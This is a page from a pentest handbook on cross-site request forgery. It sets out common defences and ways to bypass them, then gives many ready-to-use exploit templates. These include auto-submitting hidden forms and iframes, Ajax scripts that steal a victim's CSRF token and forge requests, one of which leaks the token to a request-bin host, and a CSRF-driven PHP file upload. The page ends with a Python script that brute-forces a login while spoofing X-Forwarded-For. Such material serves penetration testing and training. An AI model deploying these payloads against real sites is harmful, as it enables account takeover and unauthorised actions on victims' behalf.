📖
Pentest Book by n3t_hunt3r
  • XSS Filter Evasion and WAF Bypassing Tactics
  • Cloud Pentesting
  • AWS Security Testing
  • Azure Pentesting
  • GCP Pentesting
  • Web Application Pentesting
    • XSS <Cross Site Scripting>
      • PDF Injection <XSS>
      • DOM XSS
      • Server Side XSS <Dynamic PDF>
      • XSS Tools
    • SSRF <Server Side Request Forgery>
    • Open Redirect Vulnerability
    • Command Injection
    • File Upload
    • Rate Limit Bypass Techniques
    • IDOR
    • Web Cache Poisoning /Web Cache Deception
    • CSRF <Cross Site Request Forgery>
    • XPATH injection
    • LDAP Injection
    • JWT Vulnerabilities <Json Web Tokens>
    • CORS - Misconfigurations & Bypass
    • Reset/Forgotten Password Bypass
    • CRLF (%0D%0A) Injection
    • Clickjacking
    • Hostile Domain/Subdomain takeover
    • Server Side Inclusion/Edge Side Inclusion Injection
    • HTTP Request Smuggling / HTTP Desync Attack
    • SAML Attacks
    • OAuth to Account takeover
    • Cross-site WebSocket hijacking (CSWSH)
    • Uncovering CloudFlare
    • Email Header Injection
    • Unicode Normalization vulnerability
    • Registration Vulnerabilities
    • Race Condition
Powered by GitBook
On this page
  • What is CSRF?
  • Defences Bypass
  • Exploit Examples
  • CSRF Login Brute Force
  • Tools
  • References

Was this helpful?

  1. Web Application Pentesting

CSRF <Cross Site Request Forgery>

PreviousWeb Cache Poisoning /Web Cache DeceptionNextXPATH injection

Last updated 3 years ago

Was this helpful?

What is CSRF?

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. This is done by making a logged in user in the victim platform access an attacker controlled website and from there execute malicious JS code, send forms or retrieve "images" to the victims account.

Requisites

In order to be able to abuse a CSRF vulnerability you first need to find a relevant action to abuse (change password or email, make the victim follow you on a social network, give you more privileges...). The session must rely only on cookies or HTTP Basic Authentication header, any other header can't be used to handle the session. An finally, there shouldn't be unpredictable parameters on the request.

Several counter-measures could be in place to avoid this vulnerability.

Common defenses

  • : If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.

  • : Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the CORS policy of the victim site. Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response.

  • Ask for the password user to authorise the action.

  • Resolve a captcha

  • Read the Referrer or Origin headers. If a regex is used it could be bypassed form example with:

    • (ends with the url)

    • (starts with the url)

  • Modify the name of the parameters of the Post or Get request

  • Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.

CSRF map

Defences Bypass

From POST to GET

Maybe the form you want to abuse is prepared to send a POST request with a CSRF token but, you should check if a GET is also valid and if when you send a GET request the CSRF token is still being validated.

Lack of token

Some applications correctly validate the token when it is present but skip the validation if the token is omitted. In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack.

CSRF token is not tied to the user session

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool. In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

Method bypass

This could also works sending the _method parameter inside the a POST request or using the headers:

  • X-HTTP-Method

  • X-HTTP-Method-Override

  • X-Method-Override

Custom header token bypass

If the request is adding a custom header with a token to the request as CSRF protection method, then:

  • Test the request without the Customized Token and also header.

  • Test the request with exact same length but different token.

CSRF token is tied to a non-session cookie

Some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together. If the web site contains any behaviour that allows an attacker to set a cookie in a victim's browser, then an attack is possible.

CSRF token is simply duplicated in a cookie

In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality.

Content-Type change

  • application/x-www-form-urlencoded

  • multipart/form-data

  • text/plain

However, note that the severs logic may vary depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.

Referrer / Origin check bypass

Avoid Referrer header

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

<meta name="referrer" content="never">

Regexp bypasses

https://hahwul.com (O)
https://hahwul.com?white_domain_com (O)
https://hahwul.com;white_domain_com (O)
https://hahwul.com/white_domain_com/../target.file (O)
https://white_domain_com.hahwul.com (O)
https://hahwulwhite_domain_com (O)
file://123.white_domain_com (X) 
https://white_domain_com@hahwul.com (X)
https://hahwul.com#white_domain_com (X)
https://hahwul.com\.white_domain_com (X)
https://hahwul.com/.white_domain_com (X)

Exploit Examples

Ex-filtrating CSRF Token

GET using HTML tags

<img src=http://google.es?param=VALUE style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

Other HTML5 tags that can be used to automatically send a GET request are:

Form GET request

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Form POST request

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://victim.net/email/change-email" id="csrfform">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
    </form>
    <script>
      document.forms[0].submit(); //Way 3 to autosubmit
    </script>
  </body>
</html>

Form POST request through iframe

<!-- 
The request is sent through the iframe withuot reloading the page 
-->
<html>
  <body>
  <iframe style="display:none" name="csrfframe"></iframe> 
    <form action="/change-email" id="csrfform" target="csrfframe">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Ajax POST request

<script>
var xh;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xh=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xh=new ActiveXObject("Microsoft.XMLHTTP");
  }
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
  type: "POST",
  url: "https://google.com",
  data: "param=value&param2=value2"
})
</script>

multipart/form-data POST request

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
    method: "post",
    body: myFormData,
    credentials: "include"
});

multipart/form-data POST request v2

var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Form POST request from within an iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Steal CSRF Token and send a POST request

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.withCredentials = true;

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            //console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            //console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
    x1=document.getElementById("i1");
    x1d=(x1.contentWindow||x1.contentDocument);
    t=x1d.document.getElementById("token").value;
    
    document.getElementById("token").value=t;
    document.getElementById("form1").submit();
}
</script> 
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Steal CSRF Token and sen a POST request using an iframe and a form

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script> 
function read()
{
    var name = 'admin2';
    var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
    document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
    document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
    document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
    document.writeln('</form>');
    document.forms[0].submit.click();
}
</script>

Steal token and send it using 2 iframes

<script>
var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
  loadframe2();
}
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">        
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>
</form>

POSTSteal CSRF token with Ajax and send a post with a form

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
  x.open("GET","http://google.com?param=VALUE",true);
  x.send(null); 
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>

CSRF with Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
    console.log('connected!');
    socket.emit('join', {
        room: username
    });
  socket.emit('my_room_event', {
      data: '!flag',
      room: username
  })

});
</script>

CSRF Login Brute Force

The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
    #Return CSRF + Session (cookie)
    r = requests.get(URL)
    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    csrf = csrf.group(1)
    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, session_cookie

def login(user, password):
    print(f"{user}:{password}")
    csrf, cookie = init_session()
    cookies = {SESSION_COOKIE_NAME: cookie}
    data = {
        "tokenCSRF": csrf,
        "username": user,
        "password": password,
        "save": ""
    }
    headers = {
        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    }
    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    if "Username or password incorrect" in r.text:
        return False
    else:
        print(f"FOUND {user} : {password}")
        return True

with open(PASS_LIST, "r") as f:
    for line in f:
        login(USER, line.strip())

Tools

References

If the request is using a "weird" method, check if the method override functionality is working. For example, if it's using a PUT method you can try to use a POST method and send: **

According to , n order to avoid preflight requests using POST method these are the allowed Content-Type values:

If a CSRF token is being used as defence you could try to ex-filtrate it abusing a vulnerability or a vulnerability.

SameSite cookies
Cross-origin resource sharing
http://mal.net?orig=http://example.com
http://example.com.mal.net
https://example.com/my/dear/api/val/num?**\_method=PUT
this
XSS
Dangling Markup
https://github.com/0xInfection/XSRFProbe
https://portswigger.net/web-security/csrf
https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html